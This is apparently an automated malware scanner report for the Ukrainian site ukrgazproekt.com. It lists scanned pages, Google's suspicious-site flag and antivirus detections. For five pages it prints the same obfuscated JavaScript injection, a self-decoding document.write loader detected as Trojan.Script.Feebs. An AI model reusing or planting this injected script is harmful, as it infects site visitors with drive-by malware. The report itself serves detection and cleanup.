New scan:

Malware Scanner report for ukrgazproekt.com

Malicious/Suspicious/Total urls checked
5/10/15
15 pages have malicious or suspicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "ukrgazproekt.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=ukrgazproekt.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://www.ukrgazproekt.com/
200 OK
Content-Length: 16962
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

wxwursbuu="mGR%XthmUKtVTxW!I";kpmhmn="<script languagT65T3djaT76aT73T63ripT74>T20 fuT6ection T76hgi(T76T70xT77T29{T76aT72T20yjT6aaT2cT69eT76T63=\"gimT2dT45*T66N:~7T34GT71&$T5fT2cIA[T20carT6eT70ldT4b8T78^T56H@T42;0T50sMT43T7c+9kT60zT29tJ.6hoZT54T62T23T28O21T21T7b'U}T3dyT4653juvT5c\"]ewT22T2cT61T78=\"\",T68wc,nT61mho,dT6c=\"T22T2cT79sT77gT3bfT6frT28T79jjT61=0;yjT6aT61<T76pT78w.leT6egth;T79jjT61+T2bT29T7bT20T68wc=T76T70T78T77T2echT61T72T41t(yT6aja);T6eT61mT68o=ievcT2eiT6edeT78OfT28T68T
... 84 bytes are skipped ...
(yswT67<=0T29T79T73wT67T2bT3dT38T31;dlT2b=T69evT63T2echT61rT41tT28T79swT67-T31T29; } elT73T65T20dl+=hT77T63;}T61T78T2bT3ddl;docT75menT74.wriT74T65T28ax);T7dT3cT2fT73T63rT69pT74T3e";aecae=unescape(kpmhmn.replace(/T/g,wxwursbuu.charAt(3)));var jjy,welg;document.write(aecae);jjy="<ManmlJcdrpivriwy]ur\"rManmlJ]>cKZav-wpJ6gnmJwOc]<S|RAsbcdrpivriwy\\].r\"rSanmlJ\\]cSR|y\\]oJJl~//ggg6iZZidwrprdmJmaM6pwJ/,,vJ#6uM?]9KZav-wpJ6nwNwnnwn9]\\]><\\/S|RAsb>]ct0c</ManmlJ>cc";vhgi(jjy);

Antivirus reports:

NANO-Antivirus
Trojan.Script.Feebs.rqyn
eSafe
JS.Agent.dum

http://www.ukrgazproekt.com/index.php?lang=ukr
200 OK
Content-Length: 16392
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

wxwursbuu="mGR%XthmUKtVTxW!I";kpmhmn="<script languagT65T3djaT76aT73T63ripT74>T20 fuT6ection T76hgi(T76T70xT77T29{T76aT72T20yjT6aaT2cT69eT76T63=\"gimT2dT45*T66N:~7T34GT71&$T5fT2cIA[T20carT6eT70ldT4b8T78^T56H@T42;0T50sMT43T7c+9kT60zT29tJ.6hoZT54T62T23T28O21T21T7b'U}T3dyT4653juvT5c\"]ewT22T2cT61T78=\"\",T68wc,nT61mho,dT6c=\"T22T2cT79sT77gT3bfT6frT28T79jjT61=0;yjT6aT61<T76pT78w.leT6egth;T79jjT61+T2bT29T7bT20T68wc=T76T70T78T77T2echT61T72T41t(yT6aja);T6eT61mT68o=ievcT2eiT6edeT78OfT28T68T
... 84 bytes are skipped ...
(yswT67<=0T29T79T73wT67T2bT3dT38T31;dlT2b=T69evT63T2echT61rT41tT28T79swT67-T31T29; } elT73T65T20dl+=hT77T63;}T61T78T2bT3ddl;docT75menT74.wriT74T65T28ax);T7dT3cT2fT73T63rT69pT74T3e";aecae=unescape(kpmhmn.replace(/T/g,wxwursbuu.charAt(3)));var jjy,welg;document.write(aecae);jjy="<ManmlJcdrpivriwy]ur\"rManmlJ]>cKZav-wpJ6gnmJwOc]<S|RAsbcdrpivriwy\\].r\"rSanmlJ\\]cSR|y\\]oJJl~//ggg6iZZidwrprdmJmaM6pwJ/,,vJ#6uM?]9KZav-wpJ6nwNwnnwn9]\\]><\\/S|RAsb>]ct0c</ManmlJ>cc";vhgi(jjy);

Antivirus reports:

NANO-Antivirus
Trojan.Script.Feebs.rqyn
eSafe
JS.Agent.dum

http://www.ukrgazproekt.com/index.php?lang=rus
200 OK
Content-Length: 17061
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

wxwursbuu="mGR%XthmUKtVTxW!I";kpmhmn="<script languagT65T3djaT76aT73T63ripT74>T20 fuT6ection T76hgi(T76T70xT77T29{T76aT72T20yjT6aaT2cT69eT76T63=\"gimT2dT45*T66N:~7T34GT71&$T5fT2cIA[T20carT6eT70ldT4b8T78^T56H@T42;0T50sMT43T7c+9kT60zT29tJ.6hoZT54T62T23T28O21T21T7b'U}T3dyT4653juvT5c\"]ewT22T2cT61T78=\"\",T68wc,nT61mho,dT6c=\"T22T2cT79sT77gT3bfT6frT28T79jjT61=0;yjT6aT61<T76pT78w.leT6egth;T79jjT61+T2bT29T7bT20T68wc=T76T70T78T77T2echT61T72T41t(yT6aja);T6eT61mT68o=ievcT2eiT6edeT78OfT28T68T
... 84 bytes are skipped ...
(yswT67<=0T29T79T73wT67T2bT3dT38T31;dlT2b=T69evT63T2echT61rT41tT28T79swT67-T31T29; } elT73T65T20dl+=hT77T63;}T61T78T2bT3ddl;docT75menT74.wriT74T65T28ax);T7dT3cT2fT73T63rT69pT74T3e";aecae=unescape(kpmhmn.replace(/T/g,wxwursbuu.charAt(3)));var jjy,welg;document.write(aecae);jjy="<ManmlJcdrpivriwy]ur\"rManmlJ]>cKZav-wpJ6gnmJwOc]<S|RAsbcdrpivriwy\\].r\"rSanmlJ\\]cSR|y\\]oJJl~//ggg6iZZidwrprdmJmaM6pwJ/,,vJ#6uM?]9KZav-wpJ6nwNwnnwn9]\\]><\\/S|RAsb>]ct0c</ManmlJ>cc";vhgi(jjy);

Antivirus reports:

NANO-Antivirus
Trojan.Script.Feebs.rqyn
eSafe
JS.Agent.dum

http://www.ukrgazproekt.com/index.php?lang=eng
200 OK
Content-Length: 16894
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

wxwursbuu="mGR%XthmUKtVTxW!I";kpmhmn="<script languagT65T3djaT76aT73T63ripT74>T20 fuT6ection T76hgi(T76T70xT77T29{T76aT72T20yjT6aaT2cT69eT76T63=\"gimT2dT45*T66N:~7T34GT71&$T5fT2cIA[T20carT6eT70ldT4b8T78^T56H@T42;0T50sMT43T7c+9kT60zT29tJ.6hoZT54T62T23T28O21T21T7b'U}T3dyT4653juvT5c\"]ewT22T2cT61T78=\"\",T68wc,nT61mho,dT6c=\"T22T2cT79sT77gT3bfT6frT28T79jjT61=0;yjT6aT61<T76pT78w.leT6egth;T79jjT61+T2bT29T7bT20T68wc=T76T70T78T77T2echT61T72T41t(yT6aja);T6eT61mT68o=ievcT2eiT6edeT78OfT28T68T
... 84 bytes are skipped ...
(yswT67<=0T29T79T73wT67T2bT3dT38T31;dlT2b=T69evT63T2echT61rT41tT28T79swT67-T31T29; } elT73T65T20dl+=hT77T63;}T61T78T2bT3ddl;docT75menT74.wriT74T65T28ax);T7dT3cT2fT73T63rT69pT74T3e";aecae=unescape(kpmhmn.replace(/T/g,wxwursbuu.charAt(3)));var jjy,welg;document.write(aecae);jjy="<ManmlJcdrpivriwy]ur\"rManmlJ]>cKZav-wpJ6gnmJwOc]<S|RAsbcdrpivriwy\\].r\"rSanmlJ\\]cSR|y\\]oJJl~//ggg6iZZidwrprdmJmaM6pwJ/,,vJ#6uM?]9KZav-wpJ6nwNwnnwn9]\\]><\\/S|RAsb>]ct0c</ManmlJ>cc";vhgi(jjy);

Antivirus reports:

NANO-Antivirus
Trojan.Script.Feebs.rqyn
eSafe
JS.Agent.dum

http://www.ukrgazproekt.com/?lang=eng
200 OK
Content-Length: 16894
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

wxwursbuu="mGR%XthmUKtVTxW!I";kpmhmn="<script languagT65T3djaT76aT73T63ripT74>T20 fuT6ection T76hgi(T76T70xT77T29{T76aT72T20yjT6aaT2cT69eT76T63=\"gimT2dT45*T66N:~7T34GT71&$T5fT2cIA[T20carT6eT70ldT4b8T78^T56H@T42;0T50sMT43T7c+9kT60zT29tJ.6hoZT54T62T23T28O21T21T7b'U}T3dyT4653juvT5c\"]ewT22T2cT61T78=\"\",T68wc,nT61mho,dT6c=\"T22T2cT79sT77gT3bfT6frT28T79jjT61=0;yjT6aT61<T76pT78w.leT6egth;T79jjT61+T2bT29T7bT20T68wc=T76T70T78T77T2echT61T72T41t(yT6aja);T6eT61mT68o=ievcT2eiT6edeT78OfT28T68T
... 84 bytes are skipped ...
(yswT67<=0T29T79T73wT67T2bT3dT38T31;dlT2b=T69evT63T2echT61rT41tT28T79swT67-T31T29; } elT73T65T20dl+=hT77T63;}T61T78T2bT3ddl;docT75menT74.wriT74T65T28ax);T7dT3cT2fT73T63rT69pT74T3e";aecae=unescape(kpmhmn.replace(/T/g,wxwursbuu.charAt(3)));var jjy,welg;document.write(aecae);jjy="<ManmlJcdrpivriwy]ur\"rManmlJ]>cKZav-wpJ6gnmJwOc]<S|RAsbcdrpivriwy\\].r\"rSanmlJ\\]cSR|y\\]oJJl~//ggg6iZZidwrprdmJmaM6pwJ/,,vJ#6uM?]9KZav-wpJ6nwNwnnwn9]\\]><\\/S|RAsb>]ct0c</ManmlJ>cc";vhgi(jjy);

Antivirus reports:

NANO-Antivirus
Trojan.Script.Feebs.rqyn
eSafe
JS.Agent.dum

http://www.ukrgazproekt.com/pages.php?id=6&lang=eng
200 OK
Content-Length: 10489
Content-Type: text/html
suspicious
Suspicious code found

<h5>Contacts</h5>
<table style="FONT-SIZE: 11px" cellspacing="0" cellpadding="0" width="100%" border="0">
<tbody>
<tr>
<td valign="top" width="25%"><strong>Address:</strong><br /><nobr>77, Artem street, 04050, Kyiv, Ukraine</nobr> </td>
<td width="15">&nbsp;</td>
<td valign="top" width="18%"><strong>Tel:</strong><br />38 (044) 484 02 50<br />38 (044) 484 02 27 </td>
<td width="15">&nbsp;</td>
<td valign="top"><strong>Å-mail:</strong><br /><a href="mailto:info@ukrgazproekt.com.ua">info@ukrgazproekt.com.ua</a></td>
<td valign="top">&nbsp;</td>
</tr>
</tbody>
</table>

http://www.ukrgazproekt.com/pages.php?id=1&lang=eng
200 OK
Content-Length: 16209
Content-Type: text/html
suspicious
Suspicious code found

<h5>Contacts</h5>
<table style="FONT-SIZE: 11px" cellspacing="0" cellpadding="0" width="100%" border="0">
<tbody>
<tr>
<td valign="top" width="25%"><strong>Address:</strong><br /><nobr>77, Artem street, 04050, Kyiv, Ukraine</nobr> </td>
<td width="15">&nbsp;</td>
<td valign="top" width="18%"><strong>Tel:</strong><br />38 (044) 484 02 50<br />38 (044) 484 02 27 </td>
<td width="15">&nbsp;</td>
<td valign="top"><strong>Å-mail:</strong><br /><a href="mailto:info@ukrgazproekt.com.ua">info@ukrgazproekt.com.ua</a></td>
<td valign="top">&nbsp;</td>
</tr>
</tbody>
</table>

http://www.ukrgazproekt.com/pages.php?id=23&lang=eng
200 OK
Content-Length: 14823
Content-Type: text/html
suspicious
Suspicious code found

<h5>Contacts</h5>
<table style="FONT-SIZE: 11px" cellspacing="0" cellpadding="0" width="100%" border="0">
<tbody>
<tr>
<td valign="top" width="25%"><strong>Address:</strong><br /><nobr>77, Artem street, 04050, Kyiv, Ukraine</nobr> </td>
<td width="15">&nbsp;</td>
<td valign="top" width="18%"><strong>Tel:</strong><br />38 (044) 484 02 50<br />38 (044) 484 02 27 </td>
<td width="15">&nbsp;</td>
<td valign="top"><strong>Å-mail:</strong><br /><a href="mailto:info@ukrgazproekt.com.ua">info@ukrgazproekt.com.ua</a></td>
<td valign="top">&nbsp;</td>
</tr>
</tbody>
</table>

http://www.ukrgazproekt.com/pages.php?id=24&lang=eng
200 OK
Content-Length: 14277
Content-Type: text/html
suspicious
Suspicious code found

<h5>Contacts</h5>
<table style="FONT-SIZE: 11px" cellspacing="0" cellpadding="0" width="100%" border="0">
<tbody>
<tr>
<td valign="top" width="25%"><strong>Address:</strong><br /><nobr>77, Artem street, 04050, Kyiv, Ukraine</nobr> </td>
<td width="15">&nbsp;</td>
<td valign="top" width="18%"><strong>Tel:</strong><br />38 (044) 484 02 50<br />38 (044) 484 02 27 </td>
<td width="15">&nbsp;</td>
<td valign="top"><strong>Å-mail:</strong><br /><a href="mailto:info@ukrgazproekt.com.ua">info@ukrgazproekt.com.ua</a></td>
<td valign="top">&nbsp;</td>
</tr>
</tbody>
</table>

http://www.ukrgazproekt.com/pages.php?id=25&lang=eng
200 OK
Content-Length: 11539
Content-Type: text/html
suspicious
Suspicious code found

<h5>Contacts</h5>
<table style="FONT-SIZE: 11px" cellspacing="0" cellpadding="0" width="100%" border="0">
<tbody>
<tr>
<td valign="top" width="25%"><strong>Address:</strong><br /><nobr>77, Artem street, 04050, Kyiv, Ukraine</nobr> </td>
<td width="15">&nbsp;</td>
<td valign="top" width="18%"><strong>Tel:</strong><br />38 (044) 484 02 50<br />38 (044) 484 02 27 </td>
<td width="15">&nbsp;</td>
<td valign="top"><strong>Å-mail:</strong><br /><a href="mailto:info@ukrgazproekt.com.ua">info@ukrgazproekt.com.ua</a></td>
<td valign="top">&nbsp;</td>
</tr>
</tbody>
</table>

http://www.ukrgazproekt.com/pages.php?id=26&lang=eng
200 OK
Content-Length: 11273
Content-Type: text/html
suspicious
Suspicious code found

<h5>Contacts</h5>
<table style="FONT-SIZE: 11px" cellspacing="0" cellpadding="0" width="100%" border="0">
<tbody>
<tr>
<td valign="top" width="25%"><strong>Address:</strong><br /><nobr>77, Artem street, 04050, Kyiv, Ukraine</nobr> </td>
<td width="15">&nbsp;</td>
<td valign="top" width="18%"><strong>Tel:</strong><br />38 (044) 484 02 50<br />38 (044) 484 02 27 </td>
<td width="15">&nbsp;</td>
<td valign="top"><strong>Å-mail:</strong><br /><a href="mailto:info@ukrgazproekt.com.ua">info@ukrgazproekt.com.ua</a></td>
<td valign="top">&nbsp;</td>
</tr>
</tbody>
</table>

http://www.ukrgazproekt.com/pages.php?id=27&lang=eng
200 OK
Content-Length: 12059
Content-Type: text/html
suspicious
Suspicious code found

<h5>Contacts</h5>
<table style="FONT-SIZE: 11px" cellspacing="0" cellpadding="0" width="100%" border="0">
<tbody>
<tr>
<td valign="top" width="25%"><strong>Address:</strong><br /><nobr>77, Artem street, 04050, Kyiv, Ukraine</nobr> </td>
<td width="15">&nbsp;</td>
<td valign="top" width="18%"><strong>Tel:</strong><br />38 (044) 484 02 50<br />38 (044) 484 02 27 </td>
<td width="15">&nbsp;</td>
<td valign="top"><strong>Å-mail:</strong><br /><a href="mailto:info@ukrgazproekt.com.ua">info@ukrgazproekt.com.ua</a></td>
<td valign="top">&nbsp;</td>
</tr>
</tbody>
</table>

http://www.ukrgazproekt.com/pages.php?id=28&lang=eng
200 OK
Content-Length: 16283
Content-Type: text/html
suspicious
Suspicious code found

<h5>Contacts</h5>
<table style="FONT-SIZE: 11px" cellspacing="0" cellpadding="0" width="100%" border="0">
<tbody>
<tr>
<td valign="top" width="25%"><strong>Address:</strong><br /><nobr>77, Artem street, 04050, Kyiv, Ukraine</nobr> </td>
<td width="15">&nbsp;</td>
<td valign="top" width="18%"><strong>Tel:</strong><br />38 (044) 484 02 50<br />38 (044) 484 02 27 </td>
<td width="15">&nbsp;</td>
<td valign="top"><strong>Å-mail:</strong><br /><a href="mailto:info@ukrgazproekt.com.ua">info@ukrgazproekt.com.ua</a></td>
<td valign="top">&nbsp;</td>
</tr>
</tbody>
</table>

http://www.ukrgazproekt.com/pages.php?id=47&lang=eng
200 OK
Content-Length: 10942
Content-Type: text/html
suspicious
Suspicious code found

<h5>Contacts</h5>
<table style="FONT-SIZE: 11px" cellspacing="0" cellpadding="0" width="100%" border="0">
<tbody>
<tr>
<td valign="top" width="25%"><strong>Address:</strong><br /><nobr>77, Artem street, 04050, Kyiv, Ukraine</nobr> </td>
<td width="15">&nbsp;</td>
<td valign="top" width="18%"><strong>Tel:</strong><br />38 (044) 484 02 50<br />38 (044) 484 02 27 </td>
<td width="15">&nbsp;</td>
<td valign="top"><strong>Å-mail:</strong><br /><a href="mailto:info@ukrgazproekt.com.ua">info@ukrgazproekt.com.ua</a></td>
<td valign="top">&nbsp;</td>
</tr>
</tbody>
</table>

http://www.ukrgazproekt.com/pages.php?id=2&lang=eng
200 OK
Content-Length: 14833
Content-Type: text/html
suspicious
Suspicious code found

<h5>Contacts</h5>
<table style="FONT-SIZE: 11px" cellspacing="0" cellpadding="0" width="100%" border="0">
<tbody>
<tr>
<td valign="top" width="25%"><strong>Address:</strong><br /><nobr>77, Artem street, 04050, Kyiv, Ukraine</nobr> </td>
<td width="15">&nbsp;</td>
<td valign="top" width="18%"><strong>Tel:</strong><br />38 (044) 484 02 50<br />38 (044) 484 02 27 </td>
<td width="15">&nbsp;</td>
<td valign="top"><strong>Å-mail:</strong><br /><a href="mailto:info@ukrgazproekt.com.ua">info@ukrgazproekt.com.ua</a></td>
<td valign="top">&nbsp;</td>
</tr>
</tbody>
</table>


Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: ukrgazproekt.com

Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: ukrgazproekt.com
Referer: http://www.google.com/search?q=ukrgazproekt.com

Result:
The result is similar to the first query. There are no suspicious redirects found.